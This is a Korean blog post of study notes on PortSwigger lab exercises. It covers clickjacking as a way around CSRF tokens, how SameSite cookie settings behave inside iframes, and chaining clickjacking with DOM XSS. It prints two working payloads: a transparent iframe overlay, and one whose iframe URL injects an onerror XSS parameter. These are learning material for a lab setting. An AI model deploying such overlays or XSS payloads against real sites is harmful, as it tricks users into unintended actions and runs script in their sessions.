Web Security/bugbounty & PortSwigger

Click jacking bypass CSRF token

minpo 2025. 7. 9. 18:25

현재의 경우 두가지의 경우 CSRF 공격에 당할 수 있다.

1. SameSite:  None 쿠키가 사용되거나

2. GET 요청으로 쿠키를 받거나 

3. 만약 SameSite : strict 쿠키가 사용된다면 브라우저 zero-day 를 사용하지 않는 이상 CSRF 공격이 힘들다.

 

 

또한, CSRF token이 사용되는 중 CSRF 토큰을 예측하지 않는 이상 bypass 하기 힘들다. 이에 사용할 수 있는 공격이 Click jacking이다.

 

아래 처럼 CSS를 이용하여 UI redressing을 통하여 클릭재킹이 진행되는데, 내가 알기로는 iframe내에서 설정된 쿠키가 아닌 이상, post 요청에 lax 쿠키 이상의 요청이 날라가지 않을 텐디?

<style>
iframe {
position : relative;
width:1000px;
height:700px;
opacity:0.0000000000001;
z-index:2;
}

div {
position : absolute;
top:515px;
left:100px;
z-index:1;
}
</style>
<div>click</div>
<iframe src='https://0adc006c045afd8580d503e100230017.web-security-academy.net/my-account'></iframe>

 

실제로 테스트를 위해서 만드러논 사이트의 session 쿠키의 값이 samesite:none이라고 강제로 세팅되어 있음.

 

 

iframe에서 기본 samesite 세팅인 lax를 통해서 실험해보기!

 

A라는 도메인에 Samesite : none, lax, strict를 설정하였다.

 

이후 같은 samesite에 post요청을 보내는 사이트를 만든다. 

 

이후 iframe 밖에서 submit을 눌렀을 때, 당연히 lax 및 stritc 쿠키가 전송된다.

 

 

B라는 악성 사이트에 iframe으로 A사이트를 넣는다.

 

안에 있는 submit을 누르면 none 쿠키만 전송된다.

 

Clicjack은 결국 none 쿠키를 세팅했는데 하필 csrf 토큰을 사용하며, 추가적으로 X-Frame-Options 으로 방어되지 않는 사이트에 공격할 수 있는 방법인데... 얼마나 유용할지는 모르겠다. 이외에도 iframe sandbox 속성을 통한 bypass 혹은 기타 이외의 Frame busting scripts 존재해도, X-Frame-Option을 bypass 할 수 없다. Clickjacking with prefilled form input 의 경우 GET 요청을 사용하기에 현실에서 그렇게 크리티컬하게 작용할지 의문이다.

 

- 좋아요 늘리기 정도?

Combining clickjacking with a DOM XSS attack

 

페이로드를 보면 DOM 혹은 reflacted xss payload를 iframe에 넣어서 click jacking이랑 연계할 수 있다. 이는 samesite에 영향을 받지 않기에 영향을 줄수 있지만? 페이로드를 사용하면 되는거 아닌가라는 생각이 든다.

<style>
	iframe {
		position:relative;
		width:$width_value;
		height: $height_value;
		opacity: $opacity;
		z-index: 2;
	}
	div {
		position:absolute;
		top:$top_value;
		left:$side_value;
		z-index: 1;
	}
</style>
<div>Test me</div>
<iframe
src="YOUR-LAB-ID.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>